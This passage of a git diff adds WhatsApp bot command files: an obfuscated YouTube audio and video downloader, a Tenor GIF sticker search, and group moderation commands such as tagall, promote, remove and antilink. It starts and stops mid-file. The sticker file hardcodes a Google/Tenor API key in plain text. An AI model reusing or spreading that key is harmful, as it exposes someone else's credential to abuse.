+ 33:{"ഒ":"ඉ","എ":"ᬤ","ഉ":"ຂ","ക":"ᤌ","ഗ":"ꪭ","ത":"ꫧ","ന":"ღ͢","മ്പ":"൩","വ":"൨","യ":"ᨨ͓","ര":"ᰍ","ി":"᭄","ീ":"ꪻ","ാ":"ꫂ","(":"ꪶ","ു":"⫰","്":"᷃","്":"ັ","ർ":"൪","ണ":"𑇥̅","ട":"ຮ","ട്ട":"ჴ","െ":"൭͛","ം":"◕","ഞ":"ൡ̅","േ":"ල","ൽ":"ᰢ","ന്ന":"ꢳ"},
+ apply,
+ list
+ };
diff --git a/scs/bmwtes.js b/scs/bmwtes.js
new file mode 100644
index 0000000..8dda0ca
--- /dev/null
+++ b/scs/bmwtes.js
@@ -0,0 +1 @@
+const _0x4e99b5=_0x5378;(function(_0x3afc4d,_0x3f4363){const _0x33c35f=_0x5378,_0x4cb90b=_0x3afc4d();while(!![]){try{const _0x139346=parseInt(_0x33c35f(0x202))/(-0x6ec+-0x4*-0x5c2+-0x101b)*(-parseInt(_0x33c35f(0x234))/(-0x2626+0x1*0x19c7+-0x1*-0xc61))+-parseInt(_0x33c35f(0x214))/(0x1*-0x223f+0xf52+0x12f0)+-parseInt(_0x33c35f(0x1e3))/(0x5b*-0x29+0x19bf+0x7*-0x198)*(-parseInt(_0x33c35f(0x1de))/(-0x7*0x547+-0x238d+0x1*0x4883))+parseInt(_0x33c35f(0x21c))/(0x16ca*0x1+0x873+-0x1f37)+parseInt(_0x33c35f(0x20b))/(-0x14b*-0x3+0x23b8+-0x2792)+parseInt(_0x33c35f(0x235))/(-0x2f*0x2+0x1*-0x1549+0x1ab*0xd)*(parseInt(_0x33c35f(0x209))/(0x1f21+-0x225a+-0x1*-0x342))+-parseInt(_0x33c35f(0x1d7))/(-0x8ea*-0x2+0x5ca*0x3+-0x2328)*(-parseInt(_0x33c35f(0x248))/(-0x1bdd*0x1+0x2642+-0xa5a));if(_0x139346===_0x3f4363)break;else _0x4cb90b['push'](_0x4cb90b['shift']());}catch(_0x4eded9){_0x4cb90b['push'](_0x4cb90b['shift']());}}}(_0x11c4,-0xaa3bf+-0x7737b*0x1+0x18918b),require(_0x4e99b5(0x1e6))[_0x4e99b5(0x220)]());const {adams}=require(_0x4e99b5(0x1e1)+_0x4e99b5(0x1d6)),yts=require(_0x4e99b5(0x1fa)),axios=require(_0x4e99b5(0x207)),BaseUrl=process[_0x4e99b5(0x216)][_0x4e99b5(0x1fd)],adamsapikey=process[_0x4e99b5(0x216)][_0x4e99b5(0x1dd)];function _0x11c4(){const _0x4d79d4=['\x20name.','IRHxS','0\x20•\x20','result','audio/mp4','dMKXN','eLsxA','RienA','\x0a*Searchin','ZYGGV','\x0a\x0a>\x20©Ibrah','RvRDl','Download','mp3','download\x20t','he\x20video.','33zwNIhc','tMdIm','get','author','Efehr','status','&apikey=','mvFKi','No\x20videos\x20','Please\x20ins','videos','◁\x20II\x20▷\x201:0','/adams','884190FnUfNO','ert\x20a\x20song','No\x20audio\x20f','play','\x0a⏱️\x20Time:\x20','Ssxtz','BOT_OWNER','1878970UxoUza','bvVvb','*\x20by\x20','../Ibrahim','?url=','8BXnBWw','download_u','ound.\x20Try\x20','dotenv','error','oad/yt','OgIVC','MfUad','/api/downl','IRELj','*\x0a\x0a*©Ibrah','RxBtO','nloading\x20*','success','mnOWC','\x20Successfu','ion\x20error:','length','Downloaded','EjJWt','aseUrl\x20or\x20','DTIgJ','video','yt-search','YouTube\x20Se','cXcFB','GITHUB_GIT','wqHea','mp4','ypZhb','BMW\x20is\x20dow','911cXHhSX','*BMW\x20Just\x20','join','wTRHI','im\x20Adams','axios','lly\x20✅','114975shjjFv','xJKUt','1982890kGEgEV','\x202024*','RGCAW','min','name','Qnrjd','fill','Failed\x20to\x20','Configurat','2363952kfgOYv','jROqw','env','uAbaj','me.','\x20another\x20n','another\x20na','he\x20audio.','2287488eFMUrb','im\x20Adams*','arch\x20Error','title','config','timestamp','Search','GoGbC','HJPwK','/video\x20nam','hMWQZ','url','ame.','found.\x20Try','PLAYER*\x0a\x0a*','video/mp4','*\x0a\x0a*®Adams','PPcfh','arSvx','sendMessag','*BMW\x20SONG\x20','thumbnail','oCTga','API\x20key.','1450FbDlHO','120NHFDKh','API\x20Error\x20','\x20Missing\x20B'];_0x11c4=function(){return _0x4d79d4;};return _0x11c4();}function validateConfig(){const _0x39ff8b=_0x4e99b5,_0x56d817={'tMdIm':function(_0x4348a8,_0xe3fcba){return _0x4348a8||_0xe3fcba;},'xJKUt':_0x39ff8b(0x213)+_0x39ff8b(0x1f3)+_0x39ff8b(0x237)+_0x39ff8b(0x1f7)+_0x39ff8b(0x233)};if(_0x56d817[_0x39ff8b(0x249)](!BaseUrl,!adamsapikey))throw new Error(_0x56d817[_0x39ff8b(0x20a)]);}validateConfig();function startLoadingAnimation(_0x2029d8){const _0x5639df=_0x4e99b5,_0x345050={'RvRDl':function(_0x38168d,_0x35aa83){return _0x38168d(_0x35aa83);},'RGCAW':function(_0x4d8728,_0x56f881){return _0x4d8728<_0x56f881;},'arSvx':function(_0xce1e38,_0x4f553a){return _0xce1e38>_0x4f553a;},'PPcfh':function(_0xc256c2,_0x4681ef,_0x417f28){return _0xc256c2(_0x4681ef,_0x417f28);}};let _0x2165f6='',_0x580fc7=-0x4ac+0x1*0x1ed5+0xd14*-0x2;const _0x49d71d=_0x345050[_0x5639df(0x22d)](setInterval,()=>{const _0x25ef95=_0x5639df;_0x2165f6=_0x345050[_0x25ef95(0x243)](Array,-0x25a6+0x29*0x9+-0x60a*-0x6)[_0x25ef95(0x211)]('▱');for(let _0x38bc00=0x232*0x4+-0x251*-0xb+0x4e5*-0x7;_0x345050[_0x25ef95(0x20d)](_0x38bc00,Math[_0x25ef95(0x20e)](_0x580fc7,0xdfe+0x9b*0x2b+-0x2803));_0x38bc00++){_0x2165f6[_0x38bc00]='▰';}_0x345050[_0x25ef95(0x243)](_0x2029d8,_0x25ef95(0x240)+'g\x20'+_0x2165f6[_0x25ef95(0x204)]('')+'*'),_0x580fc7++;if(_0x345050[_0x25ef95(0x22e)](_0x580fc7,-0x9b*-0x3e+0x19eb+0x17*-0x2c2))_0x580fc7=0x23c3*-0x1+0xab1*0x2+0xe62;},-0x2*-0x30+0x5fd+0x3*-0x1bb);return()=>clearInterval(_0x49d71d);}async function searchYouTube(_0x2c7be7){const _0x93cd06=_0x4e99b5,_0x2a4057={'ZYGGV':function(_0x20238a,_0x3466a7){return _0x20238a(_0x3466a7);},'DTIgJ':function(_0x4cfc3b,_0x56e74b){return _0x4cfc3b>_0x56e74b;},'IRHxS':_0x93cd06(0x1fb)+_0x93cd06(0x21e)+':'};try{const _0xa4b4b8=await _0x2a4057[_0x93cd06(0x241)](yts,_0x2c7be7);return _0x2a4057[_0x93cd06(0x1f8)](_0xa4b4b8[_0x93cd06(0x1d4)][_0x93cd06(0x1f4)],0x14c8*-0x1+-0x2701+0xbf5*0x5)?_0xa4b4b8[_0x93cd06(0x1d4)][-0x1*-0xc02+0x167*0x1+-0x1*0xd69]:null;}catch(_0x1437e5){return console[_0x93cd06(0x1e7)](_0x2a4057[_0x93cd06(0x239)],_0x1437e5),null;}}async function downloadMedia(_0x2bbffd,_0x3d39bd){const _0x411758=_0x4e99b5,_0x7d583a={'uAbaj':function(_0x2c7e3d,_0x2119a5){return _0x2c7e3d(_0x2119a5);},'mvFKi':function(_0x4bf1a0,_0x52daf8){return _0x4bf1a0===_0x52daf8;}};try{const _0x4e13b4=BaseUrl+(_0x411758(0x1eb)+_0x411758(0x1e8))+_0x3d39bd+_0x411758(0x1e2)+_0x7d583a[_0x411758(0x217)](encodeURIComponent,_0x2bbffd)+_0x411758(0x1d0)+adamsapikey,{data:_0x338b5b}=await axios[_0x411758(0x24a)](_0x4e13b4);return _0x7d583a[_0x411758(0x1d1)](_0x338b5b[_0x411758(0x24d)],-0x17fe+-0x26ec+-0x20e*-0x1f)&&_0x338b5b[_0x411758(0x1f0)]?_0x338b5b[_0x411758(0x23b)][_0x411758(0x1e4)+'rl']:null;}catch(_0x25ce99){return console[_0x411758(0x1e7)](_0x411758(0x236)+'('+_0x3d39bd+'):',_0x25ce99),null;}}function _0x5378(_0x3ae218,_0x586e7e){const _0x5963e6=_0x11c4();return _0x5378=function(_0x4cdbd7,_0x3de634){_0x4cdbd7=_0x4cdbd7-(-0x175f+-0x162a*0x1+-0x2c9*-0x11);let _0x34806=_0x5963e6[_0x4cdbd7];return _0x34806;},_0x5378(_0x3ae218,_0x586e7e);}adams({'nomCom':_0x4e99b5(0x1f9),'categorie':_0x4e99b5(0x222),'reaction':'🎥'},async(_0x41c5c8,_0x111b0b,_0x50bb2f)=>{const _0x1e9145=_0x4e99b5,_0x54292d={'eLsxA':function(_0x39e2ad,_0x191f49){return _0x39e2ad(_0x191f49);},'cXcFB':_0x1e9145(0x1d3)+_0x1e9145(0x1d8)+_0x1e9145(0x225)+'e.','RienA':function(_0x357db7,_0x15184e){return _0x357db7(_0x15184e);},'RxBtO':function(_0x59f2a6,_0x303d46){return _0x59f2a6(_0x303d46);},'wTRHI':function(_0x1ac9c8){return _0x1ac9c8();},'bvVvb':_0x1e9145(0x1d2)+_0x1e9145(0x229)+_0x1e9145(0x219)+_0x1e9145(0x228),'ypZhb':function(_0x2cd058,_0x34453c,_0xbb86a6){return _0x2cd058(_0x34453c,_0xbb86a6);},'dMKXN':_0x1e9145(0x1ff),'wqHea':_0x1e9145(0x212)+_0x1e9145(0x246)+_0x1e9145(0x247),'mnOWC':_0x1e9145(0x22b),'hMWQZ':_0x1e9145(0x1f5)+_0x1e9145(0x1f2)+_0x1e9145(0x208)},{ms:_0x126624,repondre:_0x461b92,arg:_0x3139bc}=_0x50bb2f;if(!_0x3139bc[-0x1*-0x40d+-0x1*0xe45+-0x147*-0x8])return _0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x1fc)]);const _0x54ba1a=_0x54292d[_0x1e9145(0x23f)](startLoadingAnimation,_0x461b92),_0x308635=await _0x54292d[_0x1e9145(0x1ee)](searchYouTube,_0x3139bc[_0x1e9145(0x204)]('\x20'));_0x54292d[_0x1e9145(0x205)](_0x54ba1a);if(!_0x308635)return _0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x1df)]);await _0x111b0b[_0x1e9145(0x22f)+'e'](_0x41c5c8,{'image':{'url':_0x308635[_0x1e9145(0x231)]},'caption':_0x1e9145(0x201)+_0x1e9145(0x1ef)+_0x308635[_0x1e9145(0x21f)]+_0x1e9145(0x1e0)+_0x308635[_0x1e9145(0x24b)][_0x1e9145(0x20f)]+_0x1e9145(0x1db)+_0x308635[_0x1e9145(0x221)]+(_0x1e9145(0x242)+_0x1e9145(0x206))},{'quoted':_0x126624});const _0x10795f=await _0x54292d[_0x1e9145(0x200)](downloadMedia,_0x308635[_0x1e9145(0x227)],_0x54292d[_0x1e9145(0x23d)]);if(!_0x10795f)return _0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x1fe)]);await _0x111b0b[_0x1e9145(0x22f)+'e'](_0x41c5c8,{'video':{'url':_0x10795f},'mimetype':_0x54292d[_0x1e9145(0x1f1)]},{'quoted':_0x126624}),_0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x226)]);}),adams({'nomCom':_0x4e99b5(0x1da),'categorie':_0x4e99b5(0x244),'reaction':'🎧'},async(_0x182fa4,_0x3f1305,_0x5fcb71)=>{const _0x4c755c=_0x4e99b5,_0x43b85f={'HJPwK':function(_0x165cca,_0x3bea69){return _0x165cca(_0x3bea69);},'Efehr':_0x4c755c(0x1d3)+_0x4c755c(0x1d8)+_0x4c755c(0x238),'jROqw':function(_0xa569f2,_0x22309f){return _0xa569f2(_0x22309f);},'EjJWt':function(_0xb38cc7){return _0xb38cc7();},'Qnrjd':function(_0x2db257,_0x1e92b0){return _0x2db257(_0x1e92b0);},'Ssxtz':_0x4c755c(0x1d9)+_0x4c755c(0x1e5)+_0x4c755c(0x21a)+_0x4c755c(0x218),'GoGbC':function(_0x2582cf,_0xa3801e,_0x3e33ee){return _0x2582cf(_0xa3801e,_0x3e33ee);},'IRELj':_0x4c755c(0x245),'OgIVC':function(_0x58b267,_0x201073){return _0x58b267(_0x201073);},'oCTga':_0x4c755c(0x212)+_0x4c755c(0x246)+_0x4c755c(0x21b),'MfUad':_0x4c755c(0x23c)},{ms:_0x18b892,repondre:_0x202fbc,arg:_0x2cb285}=_0x5fcb71;if(!_0x2cb285[0x2435+0x3*-0x68e+-0x181*0xb])return _0x43b85f[_0x4c755c(0x224)](_0x202fbc,_0x43b85f[_0x4c755c(0x24c)]);const _0x1d4c9f=_0x43b85f[_0x4c755c(0x215)](startLoadingAnimation,_0x202fbc),_0x32b82b=await _0x43b85f[_0x4c755c(0x215)](searchYouTube,_0x2cb285[_0x4c755c(0x204)]('\x20'));_0x43b85f[_0x4c755c(0x1f6)](_0x1d4c9f);if(!_0x32b82b)return _0x43b85f[_0x4c755c(0x210)](_0x202fbc,_0x43b85f[_0x4c755c(0x1dc)]);await _0x3f1305[_0x4c755c(0x22f)+'e'](_0x182fa4,{'image':{'url':_0x32b82b[_0x4c755c(0x231)]},'caption':_0x4c755c(0x230)+_0x4c755c(0x22a)+_0x4c755c(0x1d5)+_0x4c755c(0x23a)+_0x32b82b[_0x4c755c(0x221)]+(_0x4c755c(0x1ed)+_0x4c755c(0x21d))},{'quoted':_0x18b892});const _0x54f2d2=await _0x43b85f[_0x4c755c(0x223)](downloadMedia,_0x32b82b[_0x4c755c(0x227)],_0x43b85f[_0x4c755c(0x1ec)]);if(!_0x54f2d2)return _0x43b85f[_0x4c755c(0x1e9)](_0x202fbc,_0x43b85f[_0x4c755c(0x232)]);await _0x3f1305[_0x4c755c(0x22f)+'e'](_0x182fa4,{'audio':{'url':_0x54f2d2},'mimetype':_0x43b85f[_0x4c755c(0x1ea)]},{'quoted':_0x18b892}),_0x43b85f[_0x4c755c(0x215)](_0x202fbc,_0x4c755c(0x203)+_0x4c755c(0x1f5)+'\x20'+_0x32b82b[_0x4c755c(0x21f)]+(_0x4c755c(0x22c)+_0x4c755c(0x20c)));});
\ No newline at end of file
diff --git a/scs/bmwu.js b/scs/bmwu.js
new file mode 100644
index 0000000..66d99a2
--- /dev/null
+++ b/scs/bmwu.js
@@ -0,0 +1,51 @@
+const axios = require("axios");
+const { Sticker, StickerTypes } = require("wa-sticker-formatter");
+const {adams} = require("../Ibrahim/adams");
+
+adams({
+ nomCom: "stickersearch",
+ categorie: 'Search',
+ reaction: "🍁"
+},
+async (dest, zk, commandeOptions) => {
+ const { repondre, ms, arg, nomAuteurMessage } = commandeOptions;
+
+ if (!arg[0]) {
+ repondre("where is the request ? !");
+ return;
+ }
+
+ const gifSearchTerm = arg.join(" ");
+ const tenorApiKey = "AIzaSyCyouca1_KKy4W_MG1xsPzuku5oa8W358c"; // Remplacez par votre clé d'API Tenor
+
+ try { for ( i = 0 ; i < 5 ; i++) {
+ const gif = await axios.get(
+ `https://tenor.googleapis.com/v2/search?q=${gifSearchTerm}&key=${tenorApiKey}&client_key=my_project&limit=8&media_filter=gif`
+ );
+
+ const gifUrl = gif.data.results[i].media_formats.gif.url;
+
+
+
+
+
+
+ // Assurez-vous de remplacer les valeurs manquantes dans la création du sticker
+ const packname = nomAuteurMessage; // Remplacez par le nom de votre pack de stickers
+
+ const stickerMess = new Sticker(gifUrl, {
+ pack: packname,
+ author: 'BMW-MD',
+ type: StickerTypes.FULL,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 60,
+ background: "transparent",
+ });
+ const stickerBuffer2 = await stickerMess.toBuffer();
+ zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms }); }
+ } catch (error) {
+ console.error("Erreur lors de la recherche de stickers :", error);
+ repondre("Erreur lors de la recherche de stickers.");
+ }
+});
diff --git a/scs/bmwue.js b/scs/bmwue.js
new file mode 100644
index 0000000..66cf6d3
--- /dev/null
+++ b/scs/bmwue.js
@@ -0,0 +1,991 @@
+
+
+const { adams } = require("../Ibrahim/adams")
+//const { getGroupe } = require("../bdd/groupe")
+const { Sticker, StickerTypes } = require('wa-sticker-formatter');
+const {ajouterOuMettreAJourJid,mettreAJourAction,verifierEtatJid} = require("../lib/antilien")
+const {atbajouterOuMettreAJourJid,atbverifierEtatJid} = require("../lib/antibot")
+const { search, download } = require("aptoide-scraper");
+const fs = require("fs-extra");
+const conf = require("../config");
+const { default: axios } = require('axios');
+//const { uploadImageToImgur } = require('../framework/imgur');
+
+
+
+
+
+
+adams({ nomCom: "tagall", categorie: 'Group', reaction: "📣" }, async (dest, zk, commandeOptions) => {
+
+ const { ms, repondre, arg, verifGroupe, nomGroupe, infosGroupe, nomAuteurMessage, verifAdmin, superUser } = commandeOptions
+
+
+
+
+ if (!verifGroupe) { repondre("✋🏿 ✋🏿this command is reserved for groups ❌"); return; }
+ if (!arg || arg === ' ') {
+ mess = 'Aucun Message'
+ } else {
+ mess = arg.join(' ')
+ } ;
+ let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
+ var tag = "";
+ tag +=`
+
+╭─────────────━┈⊷
+│🔰 𝐁𝐌𝐖 𝐌𝐃 𝐓𝐀𝐆
+╰─────────────━┈⊷ \n
+│👥 *Group* : ${nomGroupe}
+│👤 *Hey😀* : *${nomAuteurMessage}*
+│📜 *Message* : *${mess}*
+╰─────────────━┈⊷\n
+\n
+
+` ;
+
+
+
+
+ let emoji = ['🦴', '👀', '😮💨', '❌', '✔️', '😇', '⚙️', '🔧', '🎊', '😡', '🙏🏿', '⛔️', '$','😟','🥵','🐅']
+ let random = Math.floor(Math.random() * (emoji.length - 1))
+
+
+ for (const membre of membresGroupe) {
+ tag += `${emoji[random]} @${membre.id.split("@")[0]}\n`
+ }
+
+
+ if (verifAdmin || superUser) {
+
+ zk.sendMessage(dest, { text: tag, mentions: membresGroupe.map((i) => i.id) }, { quoted: ms })
+
+ } else { repondre('command reserved for admins')}
+
+});
+
+
+adams({ nomCom: "link", categorie: 'Group', reaction: "🙋" }, async (dest, zk, commandeOptions) => {
+ const { repondre, nomGroupe, nomAuteurMessage, verifGroupe } = commandeOptions;
+ if (!verifGroupe) { repondre("wait bro , you want the link to my dm?"); return; };
+
+
+ var link = await zk.groupInviteCode(dest)
+ var lien = `https://chat.whatsapp.com/${link}`;
+
+ let mess = `hello ${nomAuteurMessage} , here is the group link for ${nomGroupe} \n
+
+Group link :${lien} \n\n©𝐈𝐛𝐫𝐚𝐡𝐢𝐦 𝐀𝐝𝐚𝐦𝐬 𝐒𝐜𝐢𝐞𝐧𝐜𝐞`
+ repondre(mess)
+
+
+});
+/** *nommer un membre comme admin */
+adams({ nomCom: "promote", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
+ let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, auteurMessage, superUser, idBot } = commandeOptions;
+ let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
+ if (!verifGroupe) { return repondre("For groups only"); }
+
+
+ const verifMember = (user) => {
+
+ for (const m of membresGroupe) {
+ if (m.id !== user) {
+ continue;
+ }
+ else { return true }
+ //membre=//(m.id==auteurMsgRepondu? return true) :false;
+ }
+ }
+
+ const memberAdmin = (membresGroupe) => {
+ let admin = [];
+ for (m of membresGroupe) {
+ if (m.admin == null) continue;
+ admin.push(m.id);
+
+ }
+ // else{admin= false;}
+ return admin;
+ }
+
+ const a = verifGroupe ? memberAdmin(membresGroupe) : '';
+
+
+ let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
+ let membre = verifMember(auteurMsgRepondu)
+ let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
+ zkad = verifGroupe ? a.includes(idBot) : false;
+ try {
+ // repondre(verifZokouAdmin)
+
+ if (autAdmin || superUser) {
+ if (msgRepondu) {
+ if (zkad) {
+ if (membre) {
+ if (admin == false) {
+ var txt = `🎊🎊🎊 @${auteurMsgRepondu.split("@")[0]} rose in rank.\n
+ he/she has been named group administrator.`
+ await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "promote");
+ zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
+ } else { return repondre("This member is already an administrator of the group.") }
+
+ } else { return repondre("This user is not part of the group."); }
+ }
+ else { return repondre("Sorry, I cannot perform this action because I am not an administrator of the group.") }
+
+ } else { repondre("please tag the member to be nominated"); }
+ } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group.") }
+ } catch (e) { repondre("oups " + e) }
+
+})
+
+//fin nommer
+/** ***demettre */
+
+adams({ nomCom: "demote", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
+ let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, auteurMessage, superUser, idBot } = commandeOptions;
+ let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
+ if (!verifGroupe) { return repondre("For groups only"); }
+
+
+ const verifMember = (user) => {
+
+ for (const m of membresGroupe) {
+ if (m.id !== user) {
+ continue;
+ }
+ else { return true }
+ //membre=//(m.id==auteurMsgRepondu? return true) :false;
+ }
+ }
+
+ const memberAdmin = (membresGroupe) => {
+ let admin = [];
+ for (m of membresGroupe) {
+ if (m.admin == null) continue;
+ admin.push(m.id);
+
+ }
+ // else{admin= false;}
+ return admin;
+ }
+
+ const a = verifGroupe ? memberAdmin(membresGroupe) : '';
+
+
+ let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
+ let membre = verifMember(auteurMsgRepondu)
+ let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
+ zkad = verifGroupe ? a.includes(idBot) : false;
+ try {
+ // repondre(verifZokouAdmin)
+
+ if (autAdmin || superUser) {
+ if (msgRepondu) {
+ if (zkad) {
+ if (membre) {
+ if (admin == false) {
+
+ repondre("This member is not a group administrator.")
+
+ } else {
+ var txt = `@${auteurMsgRepondu.split("@")[0]} was removed from his position as a group administrator\n`
+ await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "demote");
+ zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
+ }
+
+ } else { return repondre("This user is not part of the group."); }
+ }
+ else { return repondre("Sorry I cannot perform this action because I am not an administrator of the group.") }
+
+ } else { repondre("please tag the member to be removed"); }
+ } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group.") }
+ } catch (e) { repondre("oups " + e) }
+
+})
+
+
+
+/** ***fin démettre**** **/
+/** **retirer** */
+adams({ nomCom: "remove", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
+ let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, nomAuteurMessage, auteurMessage, superUser, idBot } = commandeOptions;
+ let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
+ if (!verifGroupe) { return repondre("for groups only"); }
+
+
+ const verifMember = (user) => {
+
+ for (const m of membresGroupe) {
+ if (m.id !== user) {
+ continue;
+ }
+ else { return true }
+ //membre=//(m.id==auteurMsgRepondu? return true) :false;
+ }
+ }
+
+ const memberAdmin = (membresGroupe) => {
+ let admin = [];
+ for (m of membresGroupe) {
+ if (m.admin == null) continue;
+ admin.push(m.id);
+
+ }
+ // else{admin= false;}
+ return admin;
+ }
+
+ const a = verifGroupe ? memberAdmin(membresGroupe) : '';
+
+
+ let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
+ let membre = verifMember(auteurMsgRepondu)
+ let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
+ zkad = verifGroupe ? a.includes(idBot) : false;
+ try {
+ // repondre(verifZokouAdmin)
+
+ if (autAdmin || superUser) {
+ if (msgRepondu) {
+ if (zkad) {
+ if (membre) {
+ if (admin == false) {
+ const gifLink = "https://raw.githubusercontent.com/djalega8000/Zokou-MD/main/media/remover.gif"
+ var sticker = new Sticker(gifLink, {
+ pack: 'Bmw-Md', // The pack name
+ author: nomAuteurMessage, // The author name
+ type: StickerTypes.FULL, // The sticker type
+ categories: ['🤩', '🎉'], // The sticker category
+ id: '12345', // The sticker id
+ quality: 50, // The quality of the output file
+ background: '#000000'
+ });
+
+ await sticker.toFile("st.webp")
+ var txt = `@${auteurMsgRepondu.split("@")[0]} was removed from the group.\n`
+ /* zk.sendMessage(dest, { sticker: fs.readFileSync("st.webp") }, { quoted: ms.message.extendedTextMessage.contextInfo.stanzaId})*/
+ await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove");
+ zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
+
+ } else { repondre("This member cannot be removed because he is an administrator of the group.") }
+
+ } else { return repondre("This user is not part of the group."); }
+ }
+ else { return repondre("Sorry, I cannot perform this action because I am not an administrator of the group.") }
+
+ } else { repondre("please tag the member to be removed"); }
+ } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group .") }
+ } catch (e) { repondre("oups " + e) }
+
+})
+
+
+/** *****fin retirer */
+
+
+adams({ nomCom: "del", categorie: 'Group',reaction:"🧹" }, async (dest, zk, commandeOptions) => {
+
+ const { ms, repondre, verifGroupe,auteurMsgRepondu,idBot, msgRepondu, verifAdmin, superUser} = commandeOptions;
+
+ if (!msgRepondu) {
+ repondre("Please mention the message to delete.");
+ return;
+ }
+ if(superUser && auteurMsgRepondu==idBot )
+ {
+
+ if(auteurMsgRepondu==idBot)
+ {
+ const key={
+ remoteJid:dest,
+ fromMe: true,
+ id: ms.message.extendedTextMessage.contextInfo.stanzaId,
+ }
+ await zk.sendMessage(dest,{delete:key});return;
+ }
+ }
+
+ if(verifGroupe)
+ {
+ if(verifAdmin || superUser)
+ {
+
+ try{
+
+
+ const key= {
+ remoteJid : dest,
+ id : ms.message.extendedTextMessage.contextInfo.stanzaId ,
+ fromMe : false,
+ participant : ms.message.extendedTextMessage.contextInfo.participant
+
+ }
+
+ await zk.sendMessage(dest,{delete:key});return;
+
+ }catch(e){repondre( "I need admin rights.")}
+
+
+ }else{repondre("Sorry, you are not an administrator of the group.")}
+ }
+
+});
+
+adams({ nomCom: "info", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
+ const { ms, repondre, verifGroupe } = commandeOptions;
+ if (!verifGroupe) { repondre("order reserved for the group only"); return };
+
+ try { ppgroup = await zk.profilePictureUrl(dest ,'image') ; } catch { ppgroup = conf.IMAGE_MENU}
+
+ const info = await zk.groupMetadata(dest)
+
+ /*console.log(metadata.id + ", title: " + metadata.subject + ", description: " + metadata.desc)*/
+
+
+ let mess = {
+ image: { url: ppgroup },
+ caption: `*━━━━『Group Info』━━━━*\n\n*🎐Name:* ${info.subject}\n\n*🔩Group's ID:* ${dest}\n\n*🔍Desc:* \n\n${info.desc}`
+ }
+
+
+ zk.sendMessage(dest, mess, { quoted: ms })
+ });
+
+
+
+ //------------------------------------antilien-------------------------------
+
+ adams({ nomCom: "antilink", categorie: 'Group', reaction: "🚫" }, async (dest, zk, commandeOptions) => {
+
+
+ var { repondre, arg, verifGroupe, superUser, verifAdmin } = commandeOptions;
+
+
+
+ if (!verifGroupe) {
+ return repondre("*for groups only*");
+ }
+
+ if( superUser || verifAdmin) {
+ const enetatoui = await verifierEtatJid(dest)
+ try {
+ if (!arg || !arg[0] || arg === ' ') { repondre("antilink on to activate the anti-link feature\nantilink off to deactivate the anti-link feature\nantilink action/remove to directly remove the link without notice\nantilink action/warn to give warnings\nantilink action/delete to remove the link without any sanctions\n\nPlease note that by default, the anti-link feature is set to delete.") ; return};
+
+ if(arg[0] === 'on') {
+
+
+ if(enetatoui ) { repondre("the antilink is already activated for this group")
+ } else {
+ await ajouterOuMettreAJourJid(dest,"oui");
+
+ repondre("the antilink is activated successfully") }
+
+ } else if (arg[0] === "off") {
+
+ if (enetatoui) {
+ await ajouterOuMettreAJourJid(dest , "non");
+
+ repondre("The antilink has been successfully deactivated");
+
+ } else {
+ repondre("antilink is not activated for this group");
+ }
+ } else if (arg.join('').split("/")[0] === 'action') {
+
+
+ let action = (arg.join('').split("/")[1]).toLowerCase() ;
+
+ if ( action == 'remove' || action == 'warn' || action == 'delete' ) {
+
+ await mettreAJourAction(dest,action);
+
+ repondre(`The anti-link action has been updated to ${arg.join('').split("/")[1]}`);
+
+ } else {
+ repondre("The only actions available are warn, remove, and delete") ;
+ }
+
+
+ } else repondre("antilink on to activate the anti-link feature\nantilink off to deactivate the anti-link feature\nantilink action/remove to directly remove the link without notice\nantilink action/warn to give warnings\nantilink action/delete to remove the link without any sanctions\n\nPlease note that by default, the anti-link feature is set to delete.")
+
+
+ } catch (error) {
+ repondre(error)
+ }
+
+ } else { repondre('You are not entitled to this order') ;
+ }
+
+});
+
+
+
+
+ //------------------------------------antibot-------------------------------
+
+ adams({ nomCom: "antibot", categorie: 'Group', reaction: "😬" }, async (dest, zk, commandeOptions) => {
+
+
+ var { repondre, arg, verifGroupe, superUser, verifAdmin } = commandeOptions;
+
+
+
+ if (!verifGroupe) {
+ return repondre("*for groups only*");
+ }
+
+ if( superUser || verifAdmin) {
+ const enetatoui = await atbverifierEtatJid(dest)
+ try {
+ if (!arg || !arg[0] || arg === ' ') { repondre('antibot on to activate the anti-bot feature\nantibot off to deactivate the antibot feature\nantibot action/remove to directly remove the bot without notice\nantibot action/warn to give warnings\nantilink action/delete to remove the bot message without any sanctions\n\nPlease note that by default, the anti-bot feature is set to delete.') ; return};
+
+ if(arg[0] === 'on') {
+
+
+ if(enetatoui ) { repondre("the antibot is already activated for this group")
+ } else {
+ await atbajouterOuMettreAJourJid(dest,"oui");
+
+ repondre("the antibot is successfully activated") }
+
+ } else if (arg[0] === "off") {
+
